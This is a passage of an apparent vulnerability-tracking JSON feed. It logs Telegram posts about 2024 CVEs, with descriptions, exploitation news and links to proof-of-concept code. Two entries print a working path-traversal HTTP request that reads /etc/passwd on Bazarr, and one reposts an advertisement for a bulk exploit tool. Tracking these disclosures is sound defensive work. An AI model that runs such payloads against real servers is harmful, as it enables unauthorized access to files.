"2024-07-07T17:35:51.000000Z"}, {"uuid": "7dfd1ea9-ac7e-4a5b-9fe3-c2345504f4bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40600", "type": "seen", "source": "https://t.me/cvedetector/162", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40600 - An issue was discovered in the Metrolook skin for\", \n  \"Content\": \"CVE ID : CVE-2024-40600 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the Metrolook skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:34.000000Z"}, {"uuid": "553031cf-f7a5-477b-a474-4f8ad399dc0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40597", "type": "seen", "source": "https://t.me/cvedetector/161", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40597 - An issue was discovered in the CheckUser extension\", \n  \"Content\": \"CVE ID : CVE-2024-40597 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the CheckUser extension for MediaWiki through 1.42.1. It can expose suppressed information for log events. (The log_deleted attribute is not respected.) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:33.000000Z"}, {"uuid": "3fb0569a-941e-4b72-9c38-671a572824c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40596", "type": "seen", "source": "https://t.me/cvedetector/157", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40596 - An issue was discovered in the CheckUser extension\", \n  \"Content\": \"CVE ID : CVE-2024-40596 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the CheckUser extension for MediaWiki through 1.42.1. The Special:Investigate feature can expose suppressed information for log events. (TimelineService does not support properly suppressing.) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:29.000000Z"}, {"uuid": "61051d44-3539-4e5c-a04f-b6d318661167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/ton618cyber/2004", "content": "Critical Veeam Vulnerability Exploited to Spread Akira and Fog Ransomware\n\nCybercriminals exploit CVE-2024-40711 in Veeam to deploy ransomware, targeting unpatched systems and compromised VPNs.\n\nthehackernews.com \u2022 Oct 14, 2024", "creation_timestamp": "2024-10-14T13:00:26.000000Z"}, {"uuid": "1bf1c810-9045-49df-9396-4a7fe49b4e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40594", "type": "seen", "source": "https://t.me/cvedetector/139", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40594 - The OpenAI ChatGPT app before 2024-07-05 for macOS\", \n  \"Content\": \"CVE ID : CVE-2024-40594 \nPublished : July 6, 2024, 5:15 a.m. | 23\u00a0minutes ago \nDescription : The OpenAI ChatGPT app before 2024-07-05 for macOS opts out of the sandbox, and stores conversations in cleartext in a location accessible to other apps. \nSeverity: 2.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-06T07:43:33.000000Z"}, {"uuid": "7c19290e-3263-4d80-8c2f-5822bbe28485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/454", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-09-07T16:14:23.000000Z"}, {"uuid": "05425b77-50f2-43bd-97ed-984248fda310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/311", "content": "#exploit\n1. CVE-2024-40711:\nVeeam Backup & Response - RCE\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2\n\n2. CVE-2024-28000:\nLiteSpeed Cache Privilege Escalation\nhttps://github.com/Alucard0x1/CVE-2024-28000\n\n3. CVE-2024-6800:\nGHES Authentication Bypass\nhttps://cyble.com/blog/saml-exploit-github-cve-2024-6800", "creation_timestamp": "2024-09-10T14:05:36.000000Z"}, {"uuid": "8a6ee9f7-e3fe-4f75-bc77-ad5f005caeb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/19", "content": "CVE-2024-40348\n\nGET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\netc/passwd\n\n#exploit #poc", "creation_timestamp": "2024-07-26T14:22:24.000000Z"}, {"uuid": "67507d62-43e1-486f-85d1-16cb229c8778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/17", "content": "https://github.com/bigb0x/CVE-2024-40348\n\nPOC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n#github #poc", "creation_timestamp": "2024-07-26T14:22:24.000000Z"}, {"uuid": "877dd3ee-7406-41cc-9782-4099c943057b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "Telegram/wUaGQFfZDSWTulzxHKtB1gmTmIQrnwUmhceQG1ZaITzgww", "content": "", "creation_timestamp": "2024-10-14T14:39:55.000000Z"}, {"uuid": "c1acf09e-24e0-49a6-8522-1512a676b121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40626", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/553", "content": "#exploit\n1. CVE-2024-29511:\nAbusing Ghostscript\u2019s OCR device\nhttps://codeanlabs.com/blog/research/cve-2024-29511-abusing-ghostscripts-ocr-device\n\n2. CVE-2024-40626:\nStored XSS in Outline editor\n(Type confusion attacks in ProseMirror editors)\nhttps://blog.calif.io/p/type-confusion-attacks-in-prosemirror\n\n3. Getting Unauthenticated RCE on the Logsign Unified SecOps Platform\nhttps://www.zerodayinitiative.com/blog/2024/7/1/getting-unauthenticated-remote-code-execution-on-the-logsign-unified-secops-platform", "creation_timestamp": "2024-07-20T18:08:21.000000Z"}, {"uuid": "e1f72ec7-5d7e-43c1-9010-c5dfe3d85e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40347", "type": "seen", "source": "https://t.me/Kelvinseccommunity/549", "content": "\ud83d\udd25\ud83d\udd25\ud83d\udd25\ud83d\udd25 CVE-2024-40347\nA reflected cross-site scripting (XSS) vulnerability in Hyland Alfresco Platform 23.2.1-r96 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter htmlid.\n\n\ud83c\udfc6\ud83c\udfc6\ud83c\udfc6 @kelvinseccommunity", "creation_timestamp": "2024-07-20T09:04:02.000000Z"}, {"uuid": "11fb5163-30d7-4fca-adb0-0c93ec0f038c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40897", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/622", "content": "\u200aCVE-2024-40897: Vulnerability in Orc Compiler Opens Door to Code Execution Attacks\n\nhttps://securityonline.info/cve-2024-40897-vulnerability-in-orc-compiler-opens-door-to-code-execution-attacks/", "creation_timestamp": "2024-07-28T08:12:42.000000Z"}, {"uuid": "214eb526-124e-441f-8200-f80b07e97f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/596", "content": "CVE-2024-40348\n\nGET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\netc/passwd\n\n#exploit #poc", "creation_timestamp": "2024-07-26T15:19:43.000000Z"}, {"uuid": "681b23e2-7fed-4379-a27a-cee6c82d4dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/592", "content": "#exploit\n1. CVE-2024-40348:\nUnauth directory traversal in Bazaar 1.4.3\nhttps://github.com/bigb0x/CVE-2024-40348\n\n2. CVE-2024-39907:\nSQLi in Linux 1Panel\nhttps://github.com/1Panel-dev/1Panel/security/advisories/GHSA-5grx-v727-qmq6", "creation_timestamp": "2024-07-26T05:11:20.000000Z"}, {"uuid": "1e880750-187f-4478-908f-8050d5454837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/556", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-30T01:02:10.000000Z"}, {"uuid": "0fe7ee46-54b7-43ab-a38a-2add0b24d623", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/556", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-30T01:02:10.000000Z"}, {"uuid": "d855bedb-ce8f-4594-841b-81457f4543b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "Telegram/G6CDyfjpDANN7wxO8Xkxdhymlfh3nlYxw4Jw2YnfKWXzWQ", "content": "", "creation_timestamp": "2024-09-06T22:54:05.000000Z"}, {"uuid": "d8bdf41c-b767-4c4a-8a22-8ce4aec4781d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "Telegram/2paEDeP02FonhasdWZ5DOTlSfP9HXbNaBwWkCheKZVeaUA", "content": "", "creation_timestamp": "2024-09-05T22:40:17.000000Z"}, {"uuid": "35431785-7753-40ef-8a08-712e9bbd078e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "Telegram/cdYpAseYrjXq5ASkVOiGft8peHdveFN19_-uQtoIurTW9A", "content": "", "creation_timestamp": "2024-09-13T19:23:53.000000Z"}, {"uuid": "9db427a9-a9d2-484a-bec3-8c5f64068a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/7019", "content": "1000\u2019s Of SonicWall Devices Remain Vulnerable To CVE-2024-40766 \u2013 gbhackers.com\n\nWed, 08 Jan 2025 15:37:49", "creation_timestamp": "2025-01-08T09:04:05.000000Z"}, {"uuid": "7d8e7efa-a598-49c0-892c-3702ba455537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/7696", "content": "Zyxel CPE Zero-Day (CVE-2024-40891) Exploited in the Wild \u2013 gbhackers.com\n\nWed, 29 Jan 2025 17:30:53", "creation_timestamp": "2025-01-29T13:03:23.000000Z"}, {"uuid": "f18ef214-a5c8-440c-bf29-3cf69b40655a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/7678", "content": "Zyxel CPE Devices Face Active Exploitation Due to Unpatched CVE-2024-40891 Vulnerability \u2013 thehackernews.com\n\nWed, 29 Jan 2025 13:11:00", "creation_timestamp": "2025-01-29T09:03:13.000000Z"}, {"uuid": "db3dda12-f13d-48ba-b6ac-d6dac0e94116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/ViralCyber/5236", "content": "\ud83d\udd34 \u0647\u0634\u062f\u0627\u0631 \u067e\u0686 \u0646\u0642\u0635 \u0628\u062d\u0631\u0627\u0646\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc SonicWall \u0648 \u0627\u062d\u062a\u0645\u0627\u0644 \u0633\u0648\u0627\u0633\u062a\u0641\u0627\u062f\u0647\n\n\u0645\u062c\u0645\u0648\u0639\u0647 SonicWall \u0641\u0627\u0634 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u06cc\u06a9 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0647\u0645 \u067e\u0686\u200c\u0634\u062f\u0647 \u06a9\u0647 \u0628\u0631 SonicOS \u062a\u0627\u062b\u06cc\u0631 \u0645\u06cc\u200c\u06af\u0630\u0627\u0631\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062a\u062d\u062a \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0641\u0639\u0627\u0644 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0628\u0627\u0634\u062f \u0648 \u0636\u0631\u0648\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0627\u06cc\u0646 \u067e\u0686\u200c\u0647\u0627 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0646\u0627\u0645 CVE-2024-40766 \u0631\u062f\u200c\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0627\u0631\u0627\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 9.3 \u0627\u0632 \u062d\u062f\u0627\u06a9\u062b\u0631 10 \u0627\u0633\u062a.\n\n\u0645\u062c\u0645\u0648\u0639\u0647 SonicWall \u062f\u0631 \u062a\u0648\u0635\u06cc\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f\u06cc \u06af\u0641\u062a: \u00ab\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0646\u062a\u0631\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a SonicWall SonicOS \u0648 SSLVPN \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0637\u0648\u0631 \u0628\u0627\u0644\u0642\u0648\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0645\u0646\u0627\u0628\u0639 \u0648 \u062f\u0631 \u0634\u0631\u0627\u06cc\u0637 \u062e\u0627\u0635 \u0628\u0627\u0639\u062b \u0627\u0632 \u06a9\u0627\u0631 \u0627\u0641\u062a\u0627\u062f\u0646 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f\u00bb.\n\n\u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0641\u0627\u0634 \u0646\u0645\u0648\u062f \u06a9\u0647 CVE-2024-40766 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631 \u0648\u06cc\u0698\u06af\u06cc SSLVPN \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u062a\u0627\u062b\u06cc\u0631 \u0645\u06cc\u200c\u06af\u0630\u0627\u0631\u062f. \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647 \u0634\u0627\u0645\u0644:\n\n\u2022 \u0646\u0633\u062e\u0647 SOHO (Gen 5 Firewalls) - 5.9.2.14-13o\n\u2022 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc Gen 6 - 6.5.2.8-2n (\u0628\u0631\u0627\u06cc SM9800\u060c NSsp 12400\u060c \u0648 NSsp 12800) \u0648 6.5.4.15.116n\n\n#Cybersecurity #Cyber_Attack #SonicWall #Firewall #SOHO #SonicOS #SSLVPN #WAN #Patch #Vulnerability #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u062d\u0645\u0644\u0647_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0633\u0648\u0646\u06cc\u06a9\u0648\u0627\u0644 #\u0641\u0627\u06cc\u0631\u0648\u0627\u0644\n\n\u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0627\u0645\u0644 \u062e\u0628\u0631 \ud83d\udc49\n\n\ud83c\udd94 @Takianco\n\ud83c\uddee\ud83c\uddf7", "creation_timestamp": "2024-09-09T22:12:35.000000Z"}, {"uuid": "164e6432-17d1-42e9-94a9-34aca3161195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "seen", "source": "https://t.me/ViralCyber/4068", "content": "\u26a0\ufe0f\u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0641\u0648\u0642 \u0628\u062d\u0631\u0627\u0646\u06cc \u0631\u0648\u06cc JumpServer\n\ud83d\udd34\u0634\u0627\u06cc\u062f \u0627\u0633\u0645 JumpServer \u0628\u0647 \u06af\u0648\u0634 \u0634\u0645\u0627 \u0622\u0634\u0646\u0627 \u0646\u0628\u0627\u0634\u062f. \u0627\u06cc\u0646 \u0645\u062d\u0635\u0648\u0644 \u06cc\u06a9 #PAM \u0645\u062a\u0646 \u0628\u0627\u0632 (Open Source) \u0627\u0633\u062a \u0648 \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u0647\u0627 \u0647\u0645 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0646\u062f. \n\ud83d\udd34\u0627\u062e\u06cc\u0631\u0627 \u062f\u0648 #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc CVE-2024-40628 \u0648 CVE-2024-40629 \u0631\u0648\u06cc \u0627\u06cc\u0646 \u0645\u062d\u0635\u0648\u0644 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 10 \u06a9\u0634\u0641 \u0634\u062f\u0647!\n\ud83d\udd34\u0639\u0645\u0642 \u0641\u0627\u062c\u0639\u0647 \u0627\u06cc\u0646\u062c\u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0631\u0648\u06cc #JumpServer  \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0646\u062f \u0648 \u0642\u0637\u0639\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627 \u0631\u0627 \u062f\u0627\u0631\u0646\u062f!\n\ud83d\udd34\u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0622\u0646 \u0645\u0627\u062c\u0631\u0627 \u06a9\u0647 \u0628\u0631\u0627\u06cc Mail Server\u0647\u0627\u06cc #\u0628\u0648\u0645\u06cc \u06a9\u0647 \u0628\u0631 \u0628\u0633\u062a\u0631 #Zimbra \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u0646\u062f \u0627\u062a\u0641\u0627\u0642 \u0627\u0641\u062a\u0627\u062f \u062a\u06a9\u0631\u0627\u0631 \u0646\u0634\u0648\u062f!\n\n\u2709\ufe0f @PingChannel\n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\u00a0 \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b", "creation_timestamp": "2024-08-01T17:20:44.000000Z"}, {"uuid": "2e915f5e-d364-4ec9-9f2c-e1a9625d466e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "seen", "source": "https://t.me/ViralCyber/4068", "content": "\u26a0\ufe0f\u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0641\u0648\u0642 \u0628\u062d\u0631\u0627\u0646\u06cc \u0631\u0648\u06cc JumpServer\n\ud83d\udd34\u0634\u0627\u06cc\u062f \u0627\u0633\u0645 JumpServer \u0628\u0647 \u06af\u0648\u0634 \u0634\u0645\u0627 \u0622\u0634\u0646\u0627 \u0646\u0628\u0627\u0634\u062f. \u0627\u06cc\u0646 \u0645\u062d\u0635\u0648\u0644 \u06cc\u06a9 #PAM \u0645\u062a\u0646 \u0628\u0627\u0632 (Open Source) \u0627\u0633\u062a \u0648 \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u0647\u0627 \u0647\u0645 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0646\u062f. \n\ud83d\udd34\u0627\u062e\u06cc\u0631\u0627 \u062f\u0648 #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc CVE-2024-40628 \u0648 CVE-2024-40629 \u0631\u0648\u06cc \u0627\u06cc\u0646 \u0645\u062d\u0635\u0648\u0644 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 10 \u06a9\u0634\u0641 \u0634\u062f\u0647!\n\ud83d\udd34\u0639\u0645\u0642 \u0641\u0627\u062c\u0639\u0647 \u0627\u06cc\u0646\u062c\u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0631\u0648\u06cc #JumpServer  \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0646\u062f \u0648 \u0642\u0637\u0639\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627 \u0631\u0627 \u062f\u0627\u0631\u0646\u062f!\n\ud83d\udd34\u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0622\u0646 \u0645\u0627\u062c\u0631\u0627 \u06a9\u0647 \u0628\u0631\u0627\u06cc Mail Server\u0647\u0627\u06cc #\u0628\u0648\u0645\u06cc \u06a9\u0647 \u0628\u0631 \u0628\u0633\u062a\u0631 #Zimbra \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u0646\u062f \u0627\u062a\u0641\u0627\u0642 \u0627\u0641\u062a\u0627\u062f \u062a\u06a9\u0631\u0627\u0631 \u0646\u0634\u0648\u062f!\n\n\u2709\ufe0f @PingChannel\n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\u00a0 \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b", "creation_timestamp": "2024-08-01T17:20:44.000000Z"}, {"uuid": "699ae5ce-db05-44d1-a965-d71f02c3b9c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "exploited", "source": "https://t.me/TheDarkWebInformer/1822", "content": "\ud83d\udea8PoC for CVE-2024-40348 has been spotted in the wild\n\nhttps://darkwebinformer.com/poc-for-cve-2024-40348-has-been-spotted-in-the-wild/\n\nbigb0x describes it as a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\nX: 